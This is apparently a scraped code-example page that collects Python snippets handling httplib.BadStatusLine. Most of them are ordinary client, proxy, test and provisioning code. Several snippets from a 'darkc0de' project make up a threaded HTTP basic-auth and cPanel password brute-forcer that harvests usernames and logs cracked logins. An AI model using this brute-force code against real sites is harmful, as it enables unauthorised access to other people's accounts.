def request(self, host, handler, request_body, verbose=0):
#retry request once if cached connection has gone cold
for i in (0, 1):
try:
return self.single_request(host, handler, request_body, verbose)
except socket.error, e:
if i or e.errno not in (errno.ECONNRESET, errno.ECONNABORTED, errno.EPIPE):
raise
except httplib.BadStatusLine: #close after we sent request
if i:
raise
##
# Send a complete request, and parse the response.
#
# @param host Target host.
# @param handler Target PRC handler.
# @param request_body XML-RPC request body.
# @param verbose Debugging flag.
# @return Parsed response.
python类BadStatusLine()的实例源码
def request(self, url, query, headers, timeout):
request = Request(url, query.encode('utf-8'), headers)
try:
if (sys.version_info[0] == 2 and sys.version_info[1] > 5) or sys.version_info[0] > 2:
response = self.http_opener.open(request, timeout=timeout)
else:
response = self.http_opener.open(request)
except HTTPError as error:
if error.fp is None:
raise HTTPHandlerError(error.filename, error.code, error.msg, dict(error.hdrs))
else:
raise HTTPHandlerError(error.filename, error.code, error.msg, dict(error.hdrs), error.read())
except URLError as error:
# urllib2.URLError documentation is horrendous!
# Try to get the tuple arguments of URLError
if hasattr(error.reason, 'args') and isinstance(error.reason.args, tuple) and len(error.reason.args) == 2:
raise HTTPHandlerError(httpcode=error.reason.args[0], httpmsg=error.reason.args[1])
else:
raise HTTPHandlerError(httpmsg='urllib2.URLError: %s' % (error.reason))
except BadStatusLine as error:
raise HTTPHandlerError(httpmsg='httplib.BadStatusLine: %s' % (error.line))
return response.read().decode('utf-8')
def create_tcp_connection(self, hostname, port, timeout, **kwargs):
sock = socket.create_connection((self.proxy_host, int(self.proxy_port)))
if hostname.endswith('.appspot.com'):
hostname = 'www.google.com'
request_data = 'CONNECT %s:%s HTTP/1.1\r\n' % (hostname, port)
if self.proxy_username and self.proxy_password:
request_data += 'Proxy-Authorization: Basic %s\r\n' % base64.b64encode(('%s:%s' % (self.proxy_username, self.proxy_password)).encode()).decode().strip()
request_data += '\r\n'
sock.sendall(request_data)
response = httplib.HTTPResponse(sock)
response.fp.close()
response.fp = sock.makefile('rb', 0)
response.begin()
if response.status >= 400:
raise httplib.BadStatusLine('%s %s %s' % (response.version, response.status, response.reason))
return sock
def create_tcp_connection(self, hostname, port, timeout, **kwargs):
sock = socket.create_connection((self.proxy_host, int(self.proxy_port)))
if hostname.endswith('.appspot.com'):
hostname = 'www.google.com'
request_data = 'CONNECT %s:%s HTTP/1.1\r\n' % (hostname, port)
if self.proxy_username and self.proxy_password:
request_data += 'Proxy-Authorization: Basic %s\r\n' % base64.b64encode(('%s:%s' % (self.proxy_username, self.proxy_password)).encode()).decode().strip()
request_data += '\r\n'
sock.sendall(request_data)
response = httplib.HTTPResponse(sock)
response.fp.close()
response.fp = sock.makefile('rb', 0)
response.begin()
if response.status >= 400:
raise httplib.BadStatusLine('%s %s %s' % (response.version, response.status, response.reason))
return sock
def _post(self, url, body, headers):
_headers = self.auth_headers.copy()
_headers.update(headers)
attempts = self.max_retries + 1
while attempts > 0:
try:
self.conn.request('POST', url, body.encode('UTF-8'), _headers)
return check_response_status(self.conn.getresponse())
except (socket.error,
httplib.ImproperConnectionState,
httplib.BadStatusLine):
# We include BadStatusLine as they are spurious
# and may randomly happen on an otherwise fine
# Solr connection (though not often)
self._reconnect()
attempts -= 1
if attempts <= 0:
raise
def __wait_for_disappearing(cls):
t = 0
while t < 120:
t = t + 1
try:
elements = env.threadlocal.BROWSER.find_elements(cls.by, cls.value)
except NoSuchElementException:
log.step_normal("Element [%s]: NoSuchElementException." % cls.__name__)
elements = []
except BadStatusLine:
log.step_warning("Element [%s]: BadStatusLine." % cls.__name__)
continue
except UnexpectedAlertPresentException:
log.step_warning("Element [%s]: UnexpectedAlertPresentException." % cls.__name__)
if len(elements) == 0:
return True
else:
time.sleep(0.5)
log.step_normal("Element [%s]: WairForDisappearing... Found [%s] Element. Tried [%s] Times." % (cls.__name__, len(elements), t))
return False
def make_request(self, request):
""" makes a request and returns an object with the result """
res = {}
res['type'] = 'unknown'
try:
response = self.opener.open(request)
except urllib2.HTTPError as error:
res['content'] = error.read()
res['cookie'] = ''
res['succeed'] = False
except urllib2.URLError as error:
res['content'] = str(error)
res['cookie'] = ''
res['succeed'] = False
except httplib.BadStatusLine as error:
res['content'] = str(error)
res['cookie'] = ''
res['succeed'] = False
else:
res = Session.transform_content_to_response(response)
return res
def geturls(url):
try:
print "[+] Collecting:",url
page = urllib2.urlopen(url).read()
links = re.findall(('http://\w+.\w+\.\w+[/\w+.]*[/.]\w+'), page)
for link in links:
if link not in urls and link[-3:].lower() not in ("gif","jpg","png","ico"):
urls.append(link)
except(IOError,TypeError,AttributeError,httplib.BadStatusLine,socket.error): pass
return urls
def getauth(site):
print "[-] Checking Authentication:",site
global hits
try:
req = urllib2.Request(site)
handle = urllib2.urlopen(req)
if site in urls:
print "Removing:",site
urls.remove(site)
except(IOError,urllib2.URLError,urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg:
print "\t- Got:",msg,"\n"
try:
if hasattr(msg, 'code') or msg.code == 401:
authline = msg.headers.get('www-authenticate', '')
if authline:
print "[+]",authline
print "[+] Found site using basic authentication"
print "[+] Attempting Brute Force on",site,"\n"
hits +=1
for i in range(len(words)*len(users)):
work = threading.Thread()
work.setDaemon(1)
work.start()
threader(site)
time.sleep(1)
except(AttributeError):
pass
else:
print "\t- Got: 200\n"
def threader(site):
username, password = getword()
global logins
try:
print "-"*12
print "User:",username,"Password:",password
req = urllib2.Request(site)
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, site, username, password)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
fd = opener.open(req)
site = urllib2.urlopen(fd.geturl()).read()
print "\n[+] Checking the authenticity of the login...\n"
if not re.search(('denied'), site.lower()):
print "\t\n\n[+] Username:",username,"Password:",password,"----- Login successful!!!\n\n"
print "[+] Writing Successful Login:",sys.argv[5],"\n"
logins +=1
file = open(sys.argv[5], "a")
file.writelines("Site: "+site+" Username: "+username+ " Password: "+password+"\n")
file.close()
print "Retrieved", fd.geturl()
info = fd.info()
for key, value in info.items():
print "%s = %s" % (key, value)
else:
print "- Redirection"
except (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg:
print "An error occurred:", msg
pass
def run(self):
username, password = getword()
try:
print "-"*12
print "User:",username,"Password:",password
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
urllib2.urlopen(server)
print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"
except (urllib2.HTTPError, httplib.BadStatusLine), msg:
#print "An error occurred:", msg
pass
webauthbrute_random_usersupport.py 文件源码
项目:darkc0de-old-stuff
作者: tuwid
项目源码
文件源码
阅读 27
收藏 0
点赞 0
评论 0
def getauth(site, users):
print "[-] Checking Authentication:",site
global hits
try:
req = urllib2.Request(site)
handle = urllib2.urlopen(req)
if site in urls:
print "Removing:",site
urls.remove(site)
except(IOError,urllib2.URLError,urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg:
print "\t- Got:",msg,"\n"
try:
if hasattr(msg, 'code') or msg.code == 401:
authline = msg.headers.get('www-authenticate', '')
if authline:
print "[+]",authline
print "[+] Found site using basic authentication"
domain = site[7:].split("/",3)[0]
print "[+] Collecting users from Google:",domain,"\n"
getusers(domain)
print "[+] Attempting Brute Force on",site,"\n"
hits +=1
for i in range(len(words)*len(users)):
work = threading.Thread()
work.setDaemon(1)
work.start()
threader(site)
time.sleep(1)
print len(users)
print "[+] Removing last collected users\n"
users = users[:-int(erase)]
print len(users)
except(AttributeError):
pass
else:
print "\t- Got: 200\n"
webauthbrute_random_usersupport.py 文件源码
项目:darkc0de-old-stuff
作者: tuwid
项目源码
文件源码
阅读 28
收藏 0
点赞 0
评论 0
def threader(site):
username, password = getword()
global logins
try:
print "-"*12
print "User:",username,"Password:",password
req = urllib2.Request(site)
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, site, username, password)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
fd = opener.open(req)
site = urllib2.urlopen(fd.geturl()).read()
print "\n[+] Checking the authenticity of the login...\n"
if not re.search(('denied'), site.lower()):
print "\t\n\n[+] Username:",username,"Password:",password,"----- Login successful!!!\n\n"
print "[+] Writing Successful Login:",sys.argv[5],"\n"
logins +=1
file = open(sys.argv[5], "a")
file.writelines("Site: "+site+" Username: "+username+ " Password: "+password+"\n")
file.close()
print "Retrieved", fd.geturl()
info = fd.info()
for key, value in info.items():
print "%s = %s" % (key, value)
else:
print "- Redirection\n"
except (urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg:
print "An error occurred:", msg
pass
def getresponse(self):
_MyHTTPBadStatusConnection.num_calls += 1
raise httplib.BadStatusLine("")
def testBadStatusLineRetry(self):
old_retries = httplib2.RETRIES
httplib2.RETRIES = 1
self.http.force_exception_to_status_code = False
try:
response, content = self.http.request("http://bitworking.org",
connection_type=_MyHTTPBadStatusConnection)
except httplib.BadStatusLine:
self.assertEqual(2, _MyHTTPBadStatusConnection.num_calls)
httplib2.RETRIES = old_retries
def quit(self):
"""
Closes the browser and shuts down the SafariDriver executable
that is started when starting the SafariDriver
"""
try:
RemoteWebDriver.quit(self)
except http_client.BadStatusLine:
pass
finally:
self.service.stop()
def request(self, host, handler, request_body, verbose=0):
"""Send XMLRPC request"""
uri = '{scheme}://{host}{handler}'.format(scheme=self._scheme,
host=host, handler=handler)
if self._passmgr:
self._passmgr.add_password(None, uri, self._username,
self._password)
if self.verbose:
_LOGGER.debug("FabricTransport: {0}".format(uri))
opener = urllib2.build_opener(*self._handlers)
headers = {
'Content-Type': 'text/xml',
'User-Agent': self.user_agent,
}
req = urllib2.Request(uri, request_body, headers=headers)
try:
return self.parse_response(opener.open(req))
except (urllib2.URLError, urllib2.HTTPError) as exc:
try:
code = -1
if exc.code == 400:
reason = 'Permission denied'
code = exc.code
else:
reason = exc.reason
msg = "{reason} ({code})".format(reason=reason, code=code)
except AttributeError:
if 'SSL' in str(exc):
msg = "SSL error"
else:
msg = str(exc)
raise InterfaceError("Connection with Fabric failed: " + msg)
except BadStatusLine:
raise InterfaceError("Connection with Fabric failed: check SSL")
def provision_eos(port, username, password):
connection = pyeapi.client.connect(
transport='https',
host='localhost',
username='vagrant',
password='vagrant',
port=port
)
device = pyeapi.client.Node(connection)
commands = list()
commands.append('configure session')
commands.append('rollback clean-config')
with open('../eos/initial.conf', 'r') as f:
lines = f.readlines()
for line in lines:
line = line.strip()
if line == '':
continue
if line.startswith('!'):
continue
commands.append(line)
commands[-1] = 'commit'
try:
device.run_commands(commands)
except httplib.BadStatusLine:
# This actually means everything went fine
print_info_message()
def provision_eos(port, username, password):
connection = pyeapi.client.connect(
transport='https',
host='localhost',
username='vagrant',
password='vagrant',
port=port
)
device = pyeapi.client.Node(connection)
commands = list()
commands.append('configure session')
commands.append('rollback clean-config')
with open('../eos/initial.conf', 'r') as f:
lines = f.readlines()
for line in lines:
line = line.strip()
if line == '':
continue
if line.startswith('!'):
continue
commands.append(line)
commands[-1] = 'commit'
try:
device.run_commands(commands)
except httplib.BadStatusLine:
# This actually means everything went fine
print_info_message()
def fetch(self, method, host, path, headers, payload, bufsize=8192, timeout=20):
request_data = '%s %s HTTP/1.1\r\n' % (method, path)
request_data += ''.join('%s: %s\r\n' % (k, v) for k, v in headers.items())
request_data += '\r\n'
#print("request:%s" % request_data)
#print("payload:%s" % payload)
conn = self.get_conn()
if not conn:
logging.warn("get sock fail")
return
if len(request_data) + len(payload) < 1300:
payload = request_data.encode() + payload
else:
conn.sock.send(request_data.encode())
payload_len = len(payload)
start = 0
while start < payload_len:
send_size = min(payload_len - start, 65535)
sended = conn.sock.send(payload[start:start+send_size])
start += sended
conn.sock.settimeout(timeout)
response = httplib.HTTPResponse(conn.sock, buffering=True)
response.conn = conn
try:
#orig_timeout = conn.sock.gettimeout()
#conn.sock.settimeout(timeout)
response.begin()
#conn.sock.settimeout(orig_timeout)
except httplib.BadStatusLine as e:
logging.warn("fetch bad status line:%r", e)
response = None
except Exception as e:
logging.warn("fetch:%r", e)
return response